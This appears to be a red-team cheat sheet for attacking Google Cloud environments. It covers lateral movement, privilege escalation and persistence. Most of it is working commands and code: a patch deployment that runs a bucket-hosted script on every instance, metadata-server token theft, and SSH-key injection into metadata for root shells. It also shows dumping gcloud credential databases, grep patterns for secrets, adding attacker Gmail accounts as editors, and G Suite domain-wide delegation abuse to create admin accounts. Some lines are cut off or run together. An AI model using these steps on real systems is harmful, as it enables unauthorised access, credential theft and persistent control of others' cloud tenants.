Automated lateral movement and persistence by abusing GCP OS patch management.

Patchy is made up of two main modes, lateral movement, and persistence.

- <https://github.com/rek7/patchy>
- <https://blog.rafael.karger.is/articles/2022-08/GCP-OS-Patching>

Installing persistence using service account in json format:

```
$ ./patchy -b myBucket persist -c serviceAccount.json
```

Doing it without patchy, manually using gcloud.

```
gcloud compute os-config patch-deployments create my-update --file=patch.json
```

- patch.json

```
{
  "description": "${PatchDescription}",
  "instanceFilter": {
    "all": true
  },
  "patchConfig": {
    "rebootConfig": "NEVER",
```

```

    "apt": {
    },
    "yum": {
    },
    "zypper": {
    },
    "windowsUpdate": {
    },
    "preStep": {
      "linuxExecStepConfig": {
        "gcsObject": {
          "bucket": "{{.BucketName}}",
          "object": "{{.LinuxScriptName}}",
          "generationNumber": "0"
        },
        "interpreter": "SHELL"
      },
      "windowsExecStepConfig": {
        "gcsObject": {
          "bucket": "{{.BucketName}}",
          "object": "{{.WindowsScriptName}}",
          "generationNumber": "0"
        },
        "interpreter": "POWERSHELL"
      }
    },
    "migInstancesAllowed": true
  },
  "duration": "60s",
  "recurringSchedule": {
    "timeZone": {
      "id": "America/New_York"
    },
    "timeOfDay": {
    },
    "frequency": "DAILY"
  },
  "rollout": {
    "mode": "CONCURRENT_ZONES",
    "disruptionBudget": {
      "percent": 100
    }
  }
}

```



## Plundering User-Data scripts

Access instance metadatas

```
curl "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
```

If instance stores user-data then it is possible to navigate to the URL below on the compromised instance

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes" -H "Metadata-Flavor: Google"
```

Get the values of each of the attribute (based on the attribute within the response of the previous request)

```
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/username" -H "Metadata-Flavor: Google"
```

## Plundering Firestore (NoSQL DB)

Install python API

```
pip3 install --upgrade google-cloud-firestore
```

Use service account capable of accessing the firestore collections

```
export GOOGLE_APPLICATION_CREDENTIALS=NAME_OF_FILE.json
```

Enumerates all the collections in Firestore instance for that project and dump the documents

```
#!/usr/env/bin python3
```

```
db = firestore.Client()
coll = db.collections()

for x in coll:
    users_ref = x

    for doc in users_ref.stream():
        print(u'{}'.format(doc.id, doc.to_dict()))
```

## Plundering StackDriver logs

StackDriver logs are Google's infrastructure logs. A lot of Plundering - <https://cloud.google.com/compute/docs/connect/add-ssh-keys>

Every instance that spins up will allow you to SSH, pretty great persistence and lateral movement technique.

-> These SSH keys are not visible at compute level.

**Permissions required:** compute.projects.setCommonInstanceMetadata, iam.serviceAccounts.actAs **Roles:** roles/compute.instanceAdmin.v1, roles/iam.serviceAccountUser

```
gcloud compute --project=projectID123 project-info add-metadata --metadata-from-file=ssh-key
```

### Add SSH Keys to instance metadata after VM creation

Check ssh keys attached to instance

```
gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.meta'
```

Check for “privilegeduser:ssh-rsa” and generate ssh keys with same username and paste in file

```
ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser
```

Upload the file with the 2 keys and access to the instance.

```
gcloud compute instances add-metadata instance-1 --metadata-from-file=ssh-keys=/home/lutzen/ssh -i underprivuser privilegeduser@xx.xx.xx.xx
```

### Gcloud compute SSH

- With the right permission set all the Firewall rules go out the window.
- Only requires an instance name, a zon and works **even without external/ephemeral IP**.
- Even if your SSH keys are not present for this instance, if the right permission Google will create the keys for this instance.

```
gcloud compute ssh instance-4 --zone=us-central1-a
```

### SharpCloud

SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.

**Searches all user profiles for credentials related to Google Compute.**

SharpCloud.exe gcloud

- <https://github.com/chrisaddalena/SharpCloud>

### Pivot using disk snapshots

In case our permission allow this action, we can list the disk snapshots and try to mount a snapshot and start a new compute instance using that snapshot.

Listing snapshot

```
gcloud compute snapshots list
```

Creating a disk based on snapshot

```
gcloud compute --project "test-project" disks create "new-instance-attacker" -size "10" --zone=us-central1-a
```

-> Access the newly created instance: - via web console (SSH/RDP) - gcloud compute ssh instance-3

## Pivot using Clone (SQL)

In case compromised GCP user's credentials have access to SQL instances within the organization GCP account.

List cloud SQL instances

```
gcloud sql instances list
```

If access to SQL instance -> clone that instance and create a new instance

```
gcloud sql instances clone targetsql targetsql-clone  
Cloning Cloud SQL instance...done*.
```

Using "set-password" API to change SQL database root user's password

```
gcloud sql users set-password root -i target-clone --host=102.XX.XX.XX --password=Password1234567890
```

## Accessing secrets within App Engine

Validate user account has access to App Engine

```
gcloud app versions list
```

Describe App engine, display all data about an existing service

```
gcloud app describe <App>
```

## From compromised node

If access to a container, a compromised node can talk to the kubelet on ports:

- TCP 10250 - TCP 10255

-> Checking if port are accessible: E.g for port 10250

```
import socket
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
result = sock.connect_ex(('192.168.0.10',10250))  
if result == 0:  
    print ("Port is open")  
else:  
    print ("Port is not open")  
sock.close()
```

-> Listing pods

```
import urllib
```

```
response = urllib.urlopen('http://10.128.0.10:10255/pods')  
print("Response : ", response)  
print("URL : ", response.geturl())
```

```
headers = response.info()
print (headers)
```

```
data = response.read()
print (data^)
```

## Container Breakout

If you land on a container that is not configured with default settings, you may need to escalate your privileges or escape from it in order to gain access to the underlying host OS.

- Docker Breakout (HackTricks)
- Container Escape Using Kernel Exploitation (CyberArk)
- How I Hacked Play-with-Docker (CyberArk)
- CVE-2016-5195
- CVE-2019-5736
- CVE-2019-14271
- CVE-2020-15257

## Services Accounts - Lateral movement

In case of service account compromise you can try to impersonate another service account to launch command within the context of another service account and attempt to move laterally or obtain further informations.

The three predefined roles to allow a user to impersonate a service account are:

- **Service Account User** (roles/iam.serviceAccountUser): Allows members to indirectly access all the resources that the service account can access. For example, if a member has the Service Account User role on a service account, and the service account has the Cloud SQL Admin role (roles/cloudsql.admin) on the project, then the member can impersonate the service account to create a Cloud SQL instance.
- **Service Account Token Creator** (roles/iam.serviceAccountTokenCreator): Allows members to impersonate service accounts to create (OAuth 2.0) access tokens, sign JSON Web Tokens (JWTs), and sign binary blobs so that they can be used for authentication.
- **Workload Identity User** (roles/iam.workloadIdentityUser): Allows members to impersonate service accounts from GKE workloads. This role cannot be granted on individual service accounts, but can be granted on a project, folder, or organization.

→ This requires a special “**Service Account Token Creator Owner**” IAM role (roles/iam.serviceAccountTokenCreator) assigned currently logged-in service account.

Listing services accounts

```
gcloud iam service-accounts list
```

Impersonate other service account and different commands in the context of that account

```
gcloud compute instances list --impersonate-service-account storage@service-test-001-iam.gserviceaccount.com
gsutil -i storage@service-test-001-iam.gserviceaccount.com ls
```

You can also add the impersonation configuration directly to avoid retyping the `--impersonate-service-account` parameter.

```
gcloud config set auth/impersonate_service_account storage@service-test-001-iam.gserviceaccount.com
gsutil ls
```

Finally you can use the token and impersonate service account to request the service account access token.

```
gcloud auth print-access-token --impersonate-service-account storage@service-test-001-iam.gserviceaccount.com
```

### From CLI to GCP management console

It is possible if the correct permissions are enable, to add your GMAIL account to the GCP project management console.

Permissions required: **roles/iam.securityAdmin**

```
gcloud projects add-iam-policy-binding project-name-000001 --member user:eviluser@gmail.com
```

-> Try to login with controlled @gmail.com mail account to the management console.

### Access Scopes

The service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When access scopes are used, the OAuth token that is generated for the instance will have a scope limitation included.

-> This **does not define** the actual permissions.

You can see what scopes are assigned by querying the metadata URL.

```
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
```

```
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
```

If an instance has no scope limitation you will received the following result:

```
https://www.googleapis.com/auth/cloud-platform
```

-> This scope will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions.

### Application Default Credentials

Application default credentials can be used for example when a developer is using credential within a Python script and authenticating using:

```
gcloud auth application-default login
```

As an alternative to first pulling a token from the metadata server, Google also has a strategy called Application Default Credentials. When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.

1. First check in source code itself
2. Next is the env variable **GOOGLE\_APPLICATION\_CREDENTIALS** (point to a service account key file)
3. Finally it will use the default token provided by the metadata server as described in the section above

### Check for network and firewall rules

- [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp\\_firewall\\_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)

This tool will allow you to enumerate the followings: - CSV file showing instance, public IP, allowed TCP, allowed UDP - nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0) - masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)

### Check network neighbors

List subnets in the current project

```
gcloud compute networks subnets list
```

### GCP - Privilege Escalation

Within GCP a number of permissions, predefined roles, primitives roles or features could allow a user with enough privileges to obtain higher privileges and perform privilege escalation within the GCP environment.

- deploymentmanager.deployments.create
- iam.roles.update
- iam.serviceAccounts.getAccessToken
- iam.serviceAccountKeys.create
- iam.serviceAccounts.implicitDelegation
- iam.serviceAccounts.signBlob

- iam.serviceAccounts.signJwt
- iam.serviceAccounts.actAs
- cloudfunctions.functions.create
- cloudfunctions.functions.update
- compute.instances.create
- run.services.create
- cloudscheduler.jobs.create
- orgpolicy.policy.set
- storage.hmacKeys.create
- serviceusage.apiKeys.create
- serviceusage.apiKeys.list
- resourceManager.organizations.setIamPolicy
- resourceManager.folders.setIamPolicy
- resourceManager.projects.setIamPolicy
- iam.serviceAccounts.setIamPolicy
- cloudfunctions.functions.setIamPolicy

Privesc scanner from RhinoSecurityLabs can be used.

### **Create an admin GCP Service account**

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.persistence.create-admin-service-account.md>

### **Create a GCP Service Account Key**

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md>

### **Impersonate GCP Service Accounts**

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts.md>

### **CloudTrick - Carlos Polop**

- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-privilege-escalation>

### **GCP Local privilege escalation SSH pivoting**

- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting>

### **Exploiting Cloud Builds**

Require **cloudbuild.builds.create** permission at least.

- <https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/>

## GCP - Exploiting Cloud Functions

Even if you are **roles/cloudfunctions.admin** the cloud function will probably be running as a specific service account. As an attacker you will need to have access to this service account (using role **roles/iam.serviceAccountUser** or permission **iam.serviceaccounts.actAs**) to be able to deploy/update code within the cloud function.

- <https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions>

Python code to retrieve function metadata and function service account token

```
import requests
import functions_framework

def exfil():
    res = requests.get('http://169.254.169.254/computeMetadata/v1beta1/instance/service-accounts/default/token')
    return (res)

exfil()

import subprocess
import random
import io
import string
import json
import os
from urllib.request import Request, urlopen
from base64 import b64decode, b64encode

def req(request):
    request_json = request.get_json()
    req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token')
    req.add_header('Metadata-Flavor', 'Google')
    content = urlopen(req).read()
    token = json.loads(content)
    print(token)
```

You can also as an attacker exploit or modify google cloud functions by accessing with write privileges the storage bucket where the function code is hosted. In this case you do not need any **iam.serviceAccountUser** role or **iam.serviceaccounts.actAs** permission, but proper permissions on the storage bucket.



## GCP - Privesc to other principals

- <https://book.hacktricks.xyz/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-other-principals>

## GCP - Privesc to resources

- <https://book.hacktricks.xyz/cloud-security/gcp-security/gcp-interesting-permissions/gcp-privesc-to-resources>

## Cloud Privilege Escalation

It's important to know that permissions can be set at the highest level of "Organization" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.

Get the numeric organization ID

```
gcloud organizations list
```

Enumerate the policies for each organization ID

```
gcloud organizations get-iam-policy [ORG ID]
```

-> Permissions you will see in return would be applied to **every** project.

## Bypassing access scope

In case you have a powerfull Service Account but limited scope of your current OAuth token.

1. Pop another boxe, check if another boxe in the environment with less restrictive scope.
  - Look for specific scope you want or **auth/cloud-platform**  

```
gcloud compute instances list --quiet --format=json
```

  
-> Also check for the instance that have the **default service account** assigned (PROJECT\_NUMBER-compute@developer.gserviceaccount.com).

You can also try to check for service account key stored on the instance (not the case by default). Default name for the file is, in case your project name is project123-dev

```
[project-id]-[portion-of-key-id].json  
project123-dev*.json
```

Check which service account have key files exported

```
$ for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do  
    echo Looking for keys for $i:  
    gcloud iam service-accounts keys list --iam-account $i  
done
```

## Steal gcloud authorization

It's quite possible that other users on the same box have been running gcloud commands using an account more powerful than your own. You'll need local root to do this.

```
sudo find / -name "gcloud"
```

You can manually inspect the files inside, but these are generally the ones with the secrets:

```
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json
C:\Users\USERNAME\.config\gcloud\*
```

## Accessing GCP Management console (browser)

- This action requires user accounts @gmail.com
- You will grant access to the Google Account you control as an attacker
- You cannot grant **owner** primitive role to generic @gmail.com from gcloud

```
gcloud projects add-iam-policy-binding project123 --member user:lutzenfried@gmail.com --role
```

→ **Editor** role is the highest level you can assign using the gcloud tool.

## More API Regex keys

Service account keys

```
grep -Pzr "(?s){[^\{]}*?service_account[^\{]}*?private_key.*?" "$TARGET_DIR"
```

Legacy GCP creds

```
grep -Pzr "(?s){[^\{]}*?client_id[^\{]}*?client_secret.*?" "$TARGET_DIR"
```

Google API keys

```
grep -Pr "AIza[a-zA-Z0-9\-\_]{35}" "$TARGET_DIR"
```

Google OAuth tokens

```
grep -Pr "ya29\.[a-zA-Z0-9\-\_]{100,200}" "$TARGET_DIR"
```

Generic SSH keys

```
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----"
```

Signed storage URLs

```
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" "$TARGET_DIR"
```

Signed policy documents in HTML

```
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' "$TARGET_DIR"
```

### Follow the Scripts

In case of compute instance compromise, most of the time you can assume this instance is deployed to realized a specific task or action within the GCP environment, you can also assume that in order to realize its task it needs some permissions/access to other GCP resources (storage, crypto keys or other instances).

Depending on the permission it is possible that a simple `gsutil ls` does not return anything..

→ Representing that the service account is lacking the **storage.buckets.list** IAM permission.

**BUT** running `gsutil ls gs://instance82736-long-term-script-data` could give you access to data and additional credentials.

- Of course brute forcing is a good idea to verify if you can access/list specific bucket
- In case of randomized bucket name such as above **instance82736-long-term-script-data** brute forcing is not an option.

To find specific buckets name, instance name or crypto keys where service account of this instance could have access, you can check the followings:

Look for references to the `gcloud` command in scripts within:

- The instance's metadata local filesystem - Service unit files, etc.

→ You may also find Python, Ruby, PHP, etc scripts using their own GCP client libraries that leverage the service account's permissions to get things done.

### Modifying instance Metadata

If you can modify the instance's metadata. You can try to escalate your privileges locally.

**2** scenarios are possible : **Default Service Account** and **Custom Service Account**.

#### Default Service Account (options availables for access scope when user default service account)

1. Allow default access (default)
2. Allow full access to all Cloud APIs
3. Set access for each API

→ *Option 2* or *Option 3* while explicitly allowing access to the compute API (vulnerable to escalation).

Every time you create a compute instance or application in App Engine, a default Service Accounts will be created for your whole project (project level) and receive **Editor Role** with over 7143 assigned permissions.

### Update

> Authorization provided to applications hosted on a Compute Engine instance is limited by two separate configurations: the roles granted to the attached service account, and the access scopes. Granting an access scope for Cloud Storage on a virtual machine instance allows the instance to call the Cloud Storage API only if you have enabled the Cloud Storage API on the project.

- IAM restricts access to APIs based on the IAM roles that are granted to the service account.
- Access scopes potentially further limit access to API methods. (Access scopes do not apply for calls made using gRPC)

### Default scopes

When you create a new Compute Engine instance, it is automatically configured with the following

Read-only access to Cloud Storage:

`https://www.googleapis.com/auth/devstorage.read_only`

Write access to write Compute Engine logs:

`https://www.googleapis.com/auth/logging.write`

Write access to publish metric data to your Google Cloud projects:

`https://www.googleapis.com/auth/monitoring.write`

Read-only access to Service Management features required for Google Cloud Endpoints(Alpha):

`https://www.googleapis.com/auth/service.management.readonly`

Read/write access to Service Control features required for Google Cloud Endpoints(Alpha):

`https://www.googleapis.com/auth/servicecontrol`

Write access to Cloud Trace allows an application running on a VM to write trace data to a project

`https://www.googleapis.com/auth/trace.append`

Compute Engine service account is attached by default to all instances created by the Google Cloud CLI and the Google Cloud console, unless a different service account, or no service account at all, is specified during the instance creation.

- Access all resources in your project
- Can create service account keys
- By default user-managed service account key for a service account never expires

### Custom Service Account (when using custom service account one of the following permission is necessary to escalate privileges)

1. `compute.instances.setMetadata` (to affect a single instance)
2. `compute.projects.setCommonInstanceMetadata` (to affect all instances in the project)

→ Furthermore you will need one of the following access scopes.

- <https://www.googleapis.com/auth/compute> - <https://www.googleapis.com/auth/cloud-platform>

**Add SSH key to custom metadata** When deploying a GCE instance (VM) on Linux or Windows some Guest Agent for Google Compute Engine are deployed.

On Linux within these agent a daemon managing the account for the instance is used.

As Google Documentation explain :

> On Linux: If OS Login is not used, the guest agent will be responsible for provisioning and deprovisioning user accounts. The agent creates local user accounts and maintains the authorized SSH keys file for each. User account creation is based on adding and remove SSH Keys stored in metadata.

-> The deployed agent will periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.

If a new public key is encountered, it will be processed and added to the local machine, depending on the format of the key :

- Added to `~/.ssh/authorized_keys` - Or will create a new user with **sudo** rights

**Attacker Scenario 1** : If you can modify the custom instance metadata with your service account, you can **escalate to root** on the local system by gaining SSH rights to a privileged account.

**Attacker Scenario 2** : If you can modify project metadata, you can escalate to root on any system in the current GCP project that is running that accounts daemon.

**Attacker Scenario 1** Check the instance for existing SSH keys. Pick on of these users as they are likely to have sudo rights.

`gcloud compute instances describe [INSTANCE] --zone [ZONE]`

The format of public keys are different from traditional authorized key file.

```
...
metadata:
  fingerprint: QCZfVTIlKgs=
  items:
    ...
    - key: ssh-keys
      value: |-
        alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCSQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiP
        bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCFNzlw22d3mIacfRV24bmIrOU8l9qgOGj1LQgOTBF
    ...
```

-> Save the line with usernames and keys in a new text file called **meta.txt**.

Let's assume we are targeting the user **alice** from above. We'll generate a new key for ourselves like this:

```
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

Take the output of the command above and use it to add a line to the **meta.txt** file you create above, ensuring to add **alice:** to the beginning of your new public key.

**meta.txt** should now look something like this, including the existing keys and the new key you just generated:

```
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCSQuP1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTA0IS
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCS2fNZlw22d3mIacFRV24bmIr0Un8l9qgOGj1LQgOTBPLAVMDA
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDnthNXHxi31LX8PlsGdIF/wlWmIOfPzuMrv7Z6rqNNgDY0u
```

Rewrite the SSH key metadata for your instance with the following command:

```
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

You can now access a shell in the context of **alice** as follows:

```
lowpriv@instance:~$ ssh -i ./key alice@localhost
alice@instance:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
```

**Attacker Scenario 2** You can follow the same process as above, but just make up a new username.

This user will be created automatically and given rights to **sudo**.

```
# define the new account username
NEWUSER="definitelynotahacker"
```

```
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
```

```
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
```

```
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
```

```
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```

Grant **sudo** to existing session

```
gcloud compute ssh <InstanceName>
```

- This will generate a new SSH key
- Add it to your existing user
- Add your existing username to the **google-sudoers** group
- Start a new SSH session

**Note :** In case of **OS Login** usage.

> OS Login simplifies SSH access management by linking your Linux user account to your Google identity. Administrators can easily manage access to instances at either an instance or project level by setting IAM permissions.

→ OS Login is enabled at the project or instance level using the metadata key of **enable-oslogin = TRUE**.

→ OS Login with two-factor authentication is enabled in the same manner with the metadata key of **enable-oslogin-2fa = TRUE**

If OS Login enable, attacker will need the following permission applied to project or instance level: - roles/compute.osLogin (*no sudo*) - roles/compute.osAdminLogin (*has sudo*)

→ OS Login can be configured with 2 steps verification.

### Exploiting OsLogin

The settings **enable-oslogin=TRUE** need to be set within project metadata or on the instance metadata level.

### GCP CloudBuild

A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account and abuse it for more access to the environment.

To exploit this as a user in GCP, we only need one IAM permission granted to the user in question:

- cloudbuild.builds.create

→ <https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/>

→ <https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloud>

### Exploring other projects

It is possible the service account you compromised on an instance has access to additional GCP projects.

```
gcloud projects list
gcloud config set project [PROJECT-ID]
```

## Spreading to GSuite via domain-wide delegation of authority

**Objective :** Accessing GSuite from a service account within GCP environment.

Service accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users.

This is known as **domain-wide delegation**. This includes actions such as: - Reading email in GMail - Accessing Google Docs - Creating new user accounts in the G Suite organization (in case of administrator role)

-> It is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control.

Verify via Web UI (management console):

IAM Menu -> Service Accounts --> Check if any of the accounts have "\*\*\*Enabled\*\*" listed under

**Note :** GSuite administrator would also have to configure this in the G Suite admin console.

As attacker you need the service account JSON credentials..

Your service account has something called a "client\_email" which you can see in the JSON credential file you export. It probably looks something like account-name@project-name.iam.gserviceaccount.com. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.

- gcp\_delegation script

```
# Validate access only
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com

# List the directory
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com \
  --list

# Create a new admin account
$ ./gcp_delegation.py --keyfile ./credentials.json \
  --impersonate steve.admin@target-org.com \
  --domain target-org.com \
  --account pwned
```



If you have success creating a new admin account, you can log on to the Google admin console and have full control over everything in G Suite for every user - email, docs, calendar, etc.

account-sa-key.json service account file

```
{
  "type": "service_account",
  "project_id": "project123",
  "private_key_id": "432423423423423",
  "private_key": "-----BEGIN PRIVATE KEY-----\nSDfdsfJFZOPEZE",
  "client_email": "account-sa@project123.iam.gserviceaccount.com",
  "client_id": "43434343433",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/account-sa%40pr
}
```

Python code

```
from google.oauth2 import service_account
from googleapiclient.discovery import build
import google.auth.transport.requests

# Credential Generation from service account
SCOPES = ['https://mail.google.com/']
SERVICE_ACCOUNT_FILE = '/home/lutzenfried/GCP/account-sa-key.json'
credentials = service_account.Credentials.from_service_account_file(SERVICE_ACCOUNT_FILE, scopes=SCOPES)

# Impersonate user
delegated_credentials = credentials.with_subject('jdoe@company.com')

# Calling Gmail API
service = build('gmail', 'v1', credentials=delegated_credentials)
print (dir(service))
results = service.users().messages().list (userId='me').execute()
print (results)
```

## Compute engine : Privilege Escalation

### Privilege escalation - Rhinosecurity Labs research

<https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/> <https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/> <https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/> <https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation>

## **GCP - Persistence**

### **CloudTricks - Carlos Polop**

Persistence TTPs within GCP.

- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-non-svc-persistence>

### **Persistence on project level or organization (similar)**

**Cloud Shell** The **HOME** directory of Cloud Shell environment will persist across sessions.

- Classic Linux or PS persistence (e.g. .bashrc modification)

### **K8S Persistence**

- Using external admission control

### **Abusing IAM**

- Add your account as owner of the project level Or Add your account to the group that is owner.
- Add your account as owner of the organization level Or Add your account to the group that is owner.

### **Invite external user to a GCP Project**

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.persistence.invite-external-user.md>

### **Using service account**

- Add or create service account and service account key as owner of the project.
- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md>

### **Accessing tokens**

In case you compromise a laptop, Mac, or server with Gcloud CLI installed.

GCP tokens are stored within an SQL Lite database.

- MAC Accessing tokens

```
ls /Users/bryce/.config/gcloud/access_tokens.db
```

```
sqlite3 access_tokens.db "select * from access_tokens"
```

- Linux Accessing tokens

```
ls /home/jdoe/.config/gcloud/access_tokens.db
```

```
sqlite3 access_tokens.db "select * from access_tokens"
```

- Windows Accessing tokens

```
dir C:\Users\username\AppData\Roaming\gcloud\access_tokens.db
```

```
sqlite3 access_tokens.db "select * from access_tokens"
```

Additionally you can access Scope every token using **credentials.db** database.

```
sqlite3 credentials.db "select * from credentials"
```

GCP Service Account credentials

Env variable: \$env:GOOGLE\_APPLICATION\_CREDENTIALS="C:\Users\jdoe\download\projetID.json"

If user is logged as user account using application default credentials

```
/home/jdoe/.config/gcloud/application_default_credentials.json
```

```
C:\Users\username\AppData\Roaming\gcloud\application_default_credentials.json
```

Validating Access Token

```
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AccessToken
```

**Reusing a token:** GCP Token Reuse

## Browser Cookies

→ **If Root Access** → Export (Safari, Chrome, Firefox, etc...)

- Mitre Att&ck technique - T1539 - Steal Web Session Cookie
- Mitre Att&ck technique - T1550 - Sub-Technique Web Session Cookie
- <https://embracethered.com/blog/posts/passthedecookie/>
- <https://maxchadwick.xyz/blog/exporting-your-browser-cookies-on-a-mac/>

→ **No Root Access** - [https://github.com/defaultnamehere/cookie\\_crimes](https://github.com/defaultnamehere/cookie_crimes)

## Cloud Shell Persistence

Using Cloud Shell online, the machine comes pre-installed with the Google Cloud SDK but also with **5GB HOME** directory which will **persist** across sessions.

→ Backdoor the **.bashrc** file

## Firewall rules persistence

Requires: - **Roles:** roles/compute.admin, roles/compute.securityAdmin  
- **Permissions:** compute.firewalls.create, compute.firewalls.update, compute.networks.updatePolicy

Objective : Persistent connection to a GCP resource such as a compute engine.

The following example represent an SQL injection resulting in RCE in one of the internal applications hosted on compute instance. This instance is only accessible from corporate internal network.

-> As an attacker we will allow our attacker IP address to connect to that instance on port 443.

```
gcloud compute firewall-rules list
gcloud compute firewall-rules create "tcp-rule" --allow tcp:443 --source-range="167.xx.xx.xx"
gcloud compute firewall-rules delete tcp-rule
```

## Service Account persistence

Creating a service account similar to an existing one or with admin privileges.

```
gcloud iam service-accounts create almost-legitimate-account --display-name "legit account h
gcloud iam service-accounts list
gcloud iam service-accounts keys create --iam-account "almost-legitimate-account@test-proje
cat key.json
```

## IAM user add persistence

Adding attacker/owned GMAIL address to the project list with **Editor** role.

```
gcloud projects add-iam-policy-binding test-project-1234 --member="attacker@gmail.com" --rol
gcloud auth login
gcloud projects list
```

## Backdoor GCP Service Account using its IAM policy

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy.md>

## Persistence using startup scripts

Startup scripts are file that performs tasks during the startup process of a virtual machine (VM) instance.

**Windows** Windows startup scripts must be Command shell (.cmd), PowerShell (.ps1), or batch file scripts (.bat), and must have the appropriate file extension.

-> Require permission : **compute.instances.setMetadata** on the VM

If you specify a startup script by using one of the procedures in this document, Compute Engine does the following: - Copies the startup script to the VM - Task Scheduler runs the startup script as the LocalSystem account when the VM boots

```
gcloud compute instances add-metadata testVM --metadata-from-file=windows-startup-script-ps1
```

**Linux** Linux startup scripts can be bash or non-bash file. To use a non-bash file, designate the interpreter by adding a `#!` to the top of the file. For example, to use a Python 3 startup script, add `#! /usr/bin/python3` to the top of the file

### **Persistence using browser connect SSH-RDP**

**Linux - Using SSH-in-browser** Directly accessing Linux through SSH via your browser and use the persistence mechanism of your choice.

**Windows - Using Chrome Remote Desktop** Same as within Linux VM for SSH access you can use RDP access within the GCP web console from your browser.

Chrome Remote Desktop is a service that lets you remotely access another computer by using a web browser. Chrome Remote Desktop works on Windows, macOS, and Linux and does not require the VM instance to have a public IP address.

### **Adding SSH key to project**

Add SSH key to GCP project, every instances that spin up will allow you to SSH into it.

-> SSH key will not be visible at compute level.

```
